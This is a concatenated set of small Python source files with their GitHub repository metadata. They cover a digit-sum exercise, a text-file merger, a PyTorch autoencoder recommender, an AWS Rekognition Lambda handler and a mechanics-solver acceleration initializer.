combined_conditions(conditions)): results = transform(item) for result in results: store.insert(result) store.close() if __name__ == '__main__': main()

[ "noreply@github.com" ]

fossabot.noreply@github.com

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/sumofdigits.py

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[]

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pythoncrackers/My-Pet-Projects

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58d67a872a8ca695f50c87be37e189d05776c9c2

refs/heads/master

2020-03-15T01:20:59.431507

2018-01-16T16:43:39

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py

number = eval(input("Enter a number between 0 and 1000: ")) unitdigit = number % 10 print("The units digit is: " + str(unitdigit)) tensdigit = (number // 10) % 10 print("The tens digit is: " + str(tensdigit)) hundredsdigit = (number // 10) // 10 print("The hundreds digit is: " + str(hundredsdigit)) sum = unitdigit + tensdigit + hundredsdigit print("The sum of the digits is " + str(sum))

[ "noreply@github.com" ]

pythoncrackers.noreply@github.com

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ca3bd539970db1203e920c0eea63dcba5709ee33

/example_47/2_merge_text_files.py

52f491b1a9c480c7f92a5e1a81ee7afb750ff734

[]

no_license

shawnbae/RPA

855ca534e5ae472b794b970f28d03ba09158e956

49850f7e2172224aa79f538f04d119bb9f1a7f59

refs/heads/master

2023-04-27T12:14:55.175489

2021-05-16T13:35:17

328,898,143

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#-*-coding:utf-8 import time import os # 작업 시작 메시지를 출력합니다. print("Process Start") # 시작 시점의 시간을 기록합니다. start_time = time.time() # 하나로 합칠 파일들이 저장된 폴더 이름을 적어주세요. directory = "personal_info" # 결과물 파일의 이름을 정의합니다. outfile_name = "merged_ID.txt" # 결과물 파일을 생성합니다. 텅 빈 텍스트파일이 생성됩니다. out_file = open(outfile_name, 'w') # 폴더의 내용물을 열람해 목록을 생성합니다. input_files = os.listdir(directory) # 폴더의 내용물을 하나하나 불러와 합치는 작업을 수행합니다. # input_files에 저장된 파일 이름을 한 번에 하나씩 불러옵니다. for filename in input_files: # 간혹 텍스트 파일이 아닌 파일이 섞여있을 수 있습니다. 이걸 걸러냅니다. if ".txt" not in filename: continue # 텍스트 파일이 맞다면, 파일을 읽어옵니다. file = open(directory + "/" + filename) # 파일의 내용물을 문자열로 불러옵니다. content = file.read() # 파일의 내용물을 결과물 파일에 기재합니다. out_file.write(content + "\n\n") # 읽어온 파일을 종료합니다. file.close() # 결과물 파일을 종료합니다. out_file.close() # 작업 종료 메시지를 출력합니다. print("Process Done.") # 작업에 총 몇 초가 걸렸는지 출력합니다. end_time = time.time() print("The Job Took " + str(end_time - start_time) + " seconds.")

[ "tngks0315@naver.com" ]

tngks0315@naver.com

a3cedf4a666cc934634ed802f992230d70f6b79b

ffb2eafcedbc0b2db5337bcac71d26eafa881228

/recsys.py

0bd37e9bd793e4b93d6535b5487636ce8bdc0b2e

[]

no_license

williamcottrell72/RecSys

ac7ddb0a5ee637b9c0a66310a5e928ce5400f436

92f3fd67b6283f3f3012f103340236d4add786dd

refs/heads/master

2020-03-27T11:56:41.143034

2018-12-25T20:59:53

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# Here is the code for the recommender system. This consists of a deep auto-encoder with a #'fit' and 'predict' method like sklearn. import torch import torch.nn.functional as F import torch.optim as optim import numpy as np import pickle as pkl import torch.autograd as autograd import torch.nn as nn #Below we have a helper function just so we don't have to initialize the create_recsys #dimensions by hand. def create_recsys(matrix,dropout=.1,latent_features=4,max_iter=100,lr=.001,epochs=5,temperature=1,batch_size=500): return recsys(matrix,matrix.shape[0],matrix.shape[1],latent_features,dropout,max_iter,epochs,temperature,lr,\ batch_size=batch_size) class recsys(nn.Module): def __init__(self,ratings=None,users=100,sites=1000,latent_features=10,\ dropout=.1,max_iter=10,epochs=4,temperature=1,lr=.01,batch_size=500,\ losses=None): super(recsys,self).__init__() self.users=users self.sites=sites self.dropout=nn.Dropout(p=dropout) self.max_iter=max_iter self.lr=lr self.batch_size=batch_size self.temperature=temperature self.ratings=ratings self.losses=None self.epochs=epochs self.linear1=nn.Linear(sites,latent_features) self.linear2=nn.Linear(latent_features,latent_features) self.linear3=nn.Linear(latent_features,sites) # The input x should have shape (number_of_users,sites) # Ratings needs to be a torch tensor of the same shape as x. # def get_mask(self,ratings=None): # try: # if ratings==None: # pass # except: # self.ratings=ratings # mask=[] # for i in range(len(self.ratings)): # mask.append([0 if math.isnan(self.ratings[i,j]) else 1 for j in range(len(self.ratings[0]))]) # return torch.tensor(mask) def imputer(self,x=None): #Need to make a function which takes in a ratings array and returns #an initial best guess. For now I'll just mask the unkown variables #print(type(self.ratings)) try: if x==None: ratings=self.ratings except: ratings=x ratings[np.isnan(ratings)] = 0 return torch.tensor(ratings).float() def forward(self,x): x=self.imputer(x) x=self.linear1(x) x=torch.tanh(x) x=self.linear2(x.float()) x=self.dropout(x.float()) x=torch.tanh(x) x=self.linear3(x.float()) return x #Should reconsider loss function. In particular, need to #think about the denominator. Perhaps better options... def custom_loss(self,x,y): ct=0 for i in range(len(x)): if (torch.norm(x[i])==0) or (torch.norm(y[i])==0): pass else: ct+=1-(x[i]@y[i])/(torch.norm(x[i])*torch.norm(y[i])) return ct/len(x) def predict(self,x): x=self.imputer(x) return self.forward(x) def fit(self,ratings=None): try: if ratings==None: ratings=self.ratings except: pass ratings_clean=self.imputer(ratings) loss_function=nn.MSELoss() f= open('data/losses','w+') losses=[] for i in range(1,self.epochs+1): optimizer = optim.Adam(self.parameters(),lr=self.lr/i) print(f'Epoch {i}') sample_indices=np.random.choice(range(len(ratings_clean)),self.batch_size,replace=False) sample=ratings_clean[sample_indices] #print(sample_indices) for _ in range(self.max_iter): optimizer.zero_grad() out = self.forward(sample) #out = self.forward(ratings_clean) #loss = loss_function(out,ratings_clean) #This one works! loss = self.custom_loss(out,sample) #This one works #loss = self.custom_loss(out,ratings_clean) losses.append(float(loss.detach().numpy())) f.write(str(loss.detach().numpy())+',') loss.backward(retain_graph=True) optimizer.step() self.losses=losses f.close()

[ "williamcottrell72@gmail.com" ]

williamcottrell72@gmail.com

168beaa8e57e3cab35e09d0b82d0e2cc748723dd

243e0c5c721ef4053f5f6b2a581bc8da4f5c2623

/s3-trigger-lambda.py

aa5c2233536e8e01e3e35b197eeeb0056cadc9e7

[]

no_license

JARADES-M/image-detector-cli-lambda

07924ae583ad6d6004cfd4eea766039ed6739aa0

a6171c0f8d4f283a445c5c31a9e2521eff00ca56

refs/heads/main

2023-06-28T04:40:36.486097

2021-07-19T11:56:56

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#Script to create lambda function using aws import boto3 from urllib.parse import unquote_plus def label_function(bucket, name): """This takes an S3 bucket and a image name!""" print(f"This is the bucketname {bucket} !") print(f"This is the imagename {name} !") rekognition = boto3.client("rekognition") response = rekognition.detect_labels( Image={ "S3Object": { "Bucket": bucket, "Name": name, } }, ) labels = response["Labels"] print(f"I found these labels {labels}") return labels def lambda_handler(event, context): """This is a computer vision lambda handler""" print(f"This is my S3 event {event}") for record in event["Records"]: bucket = record["s3"]["bucket"]["name"] print(f"This is my bucket {bucket}") key = unquote_plus(record["s3"]["object"]["key"]) print(f"This is my key {key}") my_labels = label_function(bucket=bucket, name=key) return my_labels

[ "jaradesm@gmail.com" ]

jaradesm@gmail.com

ec5652e19dafe91ba994ad3ce471eadb6ef08f7e

39eeb8ee756d5cebdfeed5dee7b57eb770fa075d

/src/amfe/solver/initializer.py

d4342eecfc009ec566010e888408ff17cca2e5c5

[ "BSD-3-Clause" ]

permissive

c-meyer/AMfe

9ca37535316b502fdc6731904d99287ae4cff824

61658db4f00858da4b4c6ba295ce66fd3ca9d324

refs/heads/master

2023-06-13T03:44:45.482814

2023-06-07T12:08:23

187,845,356

0

NOASSERTION

2023-06-07T12:08:07

2019-05-21T13:41:32

Python

UTF-8

Python

false

1,120

py

# # Copyright (c) 2018 TECHNICAL UNIVERSITY OF MUNICH, DEPARTMENT OF MECHANICAL ENGINEERING, CHAIR OF APPLIED MECHANICS, # BOLTZMANNSTRASSE 15, 85748 GARCHING/MUNICH, GERMANY, RIXEN@TUM.DE. # # Distributed under 3-Clause BSD license. See LICENSE file for more information. # import numpy as np __all__ = ['NullAccelerationInitializer', 'LinearAccelerationInitializer' ] class NullAccelerationInitializer: def __init__(self): return def get_acceleration(self, t0, q0, dq0): return np.zeros_like(q0) class LinearAccelerationInitializer: def __init__(self, M, f_int, f_ext, K, D, solve_func, solve_function_kwargs): self.M = M self.f_int = f_int self.f_ext = f_ext self.K = K self.D = D self.solve_function = solve_func self.solve_function_kwargs = solve_function_kwargs def get_acceleration(self, t0, q0, dq0): A = self.M(q0, dq0, t0) b = self.f_ext(q0, dq0, t0) - self.D(q0, dq0, t0) @ dq0 - self.f_int(q0, dq0, t0) return self.solve_function(A, b, **self.solve_function_kwargs)

[ "christian.meyer@tum.de" ]

christian.meyer@tum.de